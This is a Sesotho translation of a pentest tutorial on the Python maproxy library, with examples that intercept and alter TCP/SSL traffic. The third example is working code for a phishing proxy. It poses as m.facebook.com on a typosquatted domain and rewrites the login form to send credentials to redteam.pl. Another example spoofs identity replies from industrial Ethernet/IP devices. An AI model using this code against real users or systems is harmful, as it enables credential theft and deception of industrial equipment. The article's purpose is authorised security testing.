Sebetsa data ea marang-rang hang-hang

Phetolelo ea sengoloa e lokisitsoe bosiung ba pele thupelo e qala “Pentest. Mokhoa oa ho etsa liteko tsa ho kenella".

Sebetsa data ea marang-rang hang-hang

tlhaloso

Mefuta e fapaneng ea liteko tsa ts'ireletso, ho tloha litekong tse tloaelehileng tsa ho kenella le ts'ebetso ea Sehlopha se Sefubelu ho ea ho ho qhekella lisebelisoa tsa IoT / ICS le SCADA, li kenyelletsa ho sebetsa le li-protocol tsa marang-rang a binary, ke hore, ha e le hantle ho thibela le ho fetola data ea marang-rang pakeng tsa moreki le sepheo. Ho tsuba sephethephethe sa marang-rang ha se mosebetsi o boima kaha re na le lisebelisoa tse kang Wireshark, Tcpdump kapa Scapy, empa phetoho e bonahala e le mosebetsi o boima haholo kaha re tla hloka ho ba le mofuta o itseng oa sebopeho ho bala data ea marang-rang, ho e sefa, ho fetola. eona hang-hang 'me u e khutlisetse ho motho eo u e batlang ka nako ea nnete. Ho feta moo, e ka ba ntho e ntle haeba sesebelisoa se joalo se ka sebetsa ka bohona ka likhokahanyo tse ngata tse bapileng 'me sa e-ba bonolo ho sebelisa mangolo.

Ka letsatsi le leng ke ile ka fumana sesebelisoa se bitsoang maproxy, ka potlako litokomane li ile tsa hlakisa ho 'na hore maproxy - feela seo ke se hlokang. Ena ke projeke ea TCP e bonolo, e feto-fetohang le e ka lokisoang habonolo. Ke lekile sesebelisoa sena lits'ebetsong tse 'maloa tse rarahaneng, ho kenyeletsoa lisebelisoa tsa ICS (tse hlahisang lipakete tse ngata) ho bona hore na li ka sebetsana le likhokahano tse ngata tse tšoanang, mme sesebelisoa se sebelitse hantle.

Sengoliloeng sena se tla u tsebisa ho sebetsana le data ea marang-rang ka fofa u sebelisa maproxy.

tjhebokakaretso

Sesebelisoa maproxy e ipapisitse le Tornado, moralo oa marang-rang o tsebahalang le o holileng tsebong oa Python.

Ka kakaretso, e ka sebetsa ka mekhoa e mengata:

  • TCP:TCP - likhokahano tsa TCP tse sa ngolisoang;
  • TCP:SSL и SSL:TCP - ka encryption ea tsela e le 'ngoe;
  • SSL:SSL - encryption ea litsela tse peli.

E tla e le laebrari. Ho qala ka potlako, o ka sebelisa lifaele tsa mohlala tse bonts'ang tse ka sehloohong mesebetsi ea laebrari:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Taba ea 1 - moemeli ea bonolo oa bidirectional

Ho ipapisitsoe le tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ke default ProxyServer() e nka likhang tse peli - sebaka sa khokahano le boema-kepe ba sepheo. server.listen() e nka khang e le 'ngoe - koung ea ho mamela khokahano e kenang.

Ho etsa script:

# python tcp2tcp.py

Bakeng sa ho etsa tlhahlobo, re tla hokela ho seva sa SSH sa lehae ka sengoloa sa rona sa proxy, se mamelang 2222/tcp boemakepe mme e hokahana le boemakepe bo tlwaelehileng 22/tcp Li-server tsa SSH:

Sebetsa data ea marang-rang hang-hang

Banner e amohelehang e u tsebisa hore mohlala oa rona oa mongolo o atlehile ho ba moemeli oa sephethephethe sa marang-rang.

Taba ea 2 - phetoho ea data

Script e 'ngoe ea demo logging_proxy.py e loketseng ho sebelisana le data ea marang-rang. Maikutlo a faeleng a hlalosa mekhoa ea sehlopha eo u ka e fetolang ho fihlela sepheo sa hau:

Sebetsa data ea marang-rang hang-hang

Ntho e khahlisang haholo ke ena:

  • on_c2p_done_read - ho thibela data ho tloha ho moreki ho ea ho seva;
  • on_p2s_done_read - kgutlisitsoe morao.

Ha re leke ho fetola banner ea SSH eo seva e e khutlisetsang ho moreki:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Kenya script:

Sebetsa data ea marang-rang hang-hang

Joalokaha u bona, moreki o ile a khelosoa hobane lebitso la seva sa SSH bakeng sa hae le fetotsoe ho ba «DumnySSH».

Sebetsa data ea marang-rang hang-hang

Taba ea 3 - leqephe le bonolo la phishing web page

Ho na le mekhoa e sa feleng ea ho sebelisa sesebelisoa sena. Lekhetlong lena a re tsepamiseng maikutlo ho hong ho sebetsang haholoanyane ho tsoa lehlakoreng la ts'ebetso ea Red Team. Ha re etsiseng leqephe la ho fihla m.facebook.com 'me u sebelise sebaka se ikhethileng se nang le ho thaepa ka boomo, mohlala, m.facebok.com. Bakeng sa merero ea lipontšo, ha re nke feela hore domain name e ngolisitsoe ke rona.

Re tlo theha khokahano ea marang-rang e sa ngolisoang le moemeli oa rona oa liphofu le SSL Stream ho seva ea Facebook (31.13.81.36). Ho etsa hore mohlala ona o sebetse, re hloka ho nkela hlooho ea moamoheli oa HTTP sebaka ebe re kenya lebitso la moamoheli le nepahetseng, hape re tla tima khatello ea karabelo e le hore re ka fihlella litaba habonolo. Qetellong re tla nkela foromo ea HTML sebaka e le hore mangolo a ho kena a romelloe ho rona ho fapana le li-server tsa Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/st/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Qetellong:

Sebetsa data ea marang-rang hang-hang

Joalokaha u bona, re atlehile ho fetola sebaka sa pele.

Taba ea 4 - Porting Ethernet / IP

Ke ntse ke sebetsana le lisebelisoa tsa indasteri le software (ICS/SCADA) ka nako e telele, joalo ka balaoli ba programmable (PLC), li-module tsa I/O, li-drive, li-relay, maemo a mananeo a lere le tse ling tse ngata. Nyeoe ena ke ea ba ratang lintho tsa indasteri. Ho qhekella litharollo tse joalo ho kenyelletsa ho bapala ka mafolofolo le liprothokholo tsa marang-rang. Mohlala o latelang, ke rata ho bonts'a hore na u ka fetola sephethephethe sa marang-rang sa ICS / SCADA joang.

Bakeng sa sena o tla hloka tse latelang:

  • Netweke sniffer, mohlala, Wireshark;
  • Ethernet / IP kapa sesebelisoa sa SIP feela, u ka se fumana u sebelisa tšebeletso ea Shodan;
  • Script ea rona e thehiloe ho maproxy.

Taba ea pele, a re shebeng hore na karabelo e tloaelehileng ea boitsebahatso ho tsoa ho CIP (Common Industrial Protocol) e shebahala joang:

Sebetsa data ea marang-rang hang-hang

Ho tsebahatsa sesebelisoa ho finyelloa ho sebelisoa protocol ea Ethernet/IP, e leng mofuta o ntlafalitsoeng oa protocol ea Ethernet ea indasteri e koahelang liprothokholo tsa taolo joalo ka CIP. Re tla fetola lebitso la ID le totobalitsoeng le hlahang skrineng "NI-IndComm bakeng sa Ethernet" sebelisa proxy script ea rona. Re ka sebelisa mongolo hape logging_proxy.py 'me ka ho tšoanang fetola mokhoa oa sehlopha on_p2s_done_read, hobane re batla hore lebitso le fapaneng la boitsebiso le bonahale ho moreki.

Khoutu:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Ha e le hantle, re ile ra kopa boitsebiso ba lisebelisoa habeli, karabo ea bobeli e ne e le ea pele, 'me ea pele e fetotsoe ka fofa.

Le ho qetela

Ka maikutlo a ka maproxy Sesebelisoa se bonolo le se bonolo, se ngotsoeng hape ka Python, kahoo ke lumela hore le uena u ka rua molemo ka ho se sebelisa. Ha e le hantle, ho na le lisebelisoa tse rarahaneng bakeng sa ho sebetsana le ho fetola lintlha tsa marang-rang, empa li boetse li hloka tlhokomelo e eketsehileng 'me hangata li bōptjoa bakeng sa nyeoe e itseng ea tšebeliso, mohlala. muraena, Modlishka kapa evilginx bakeng sa linyeoe tse tšoanang le ea boraro, kapa canape bakeng sa nyeoe ea ho qetela. Ka tsela e 'ngoe, ka thuso maproxy u ka potlakela ho kenya ts'ebetsong maikutlo a hau bakeng sa ho thibela data ea marang-rang, kaha mohlala oa mangolo o hlakile haholo.

Ho lekola mekhoa ea netefatso ho Windows AD

Source: www.habr.com

Eketsa ka tlhaloso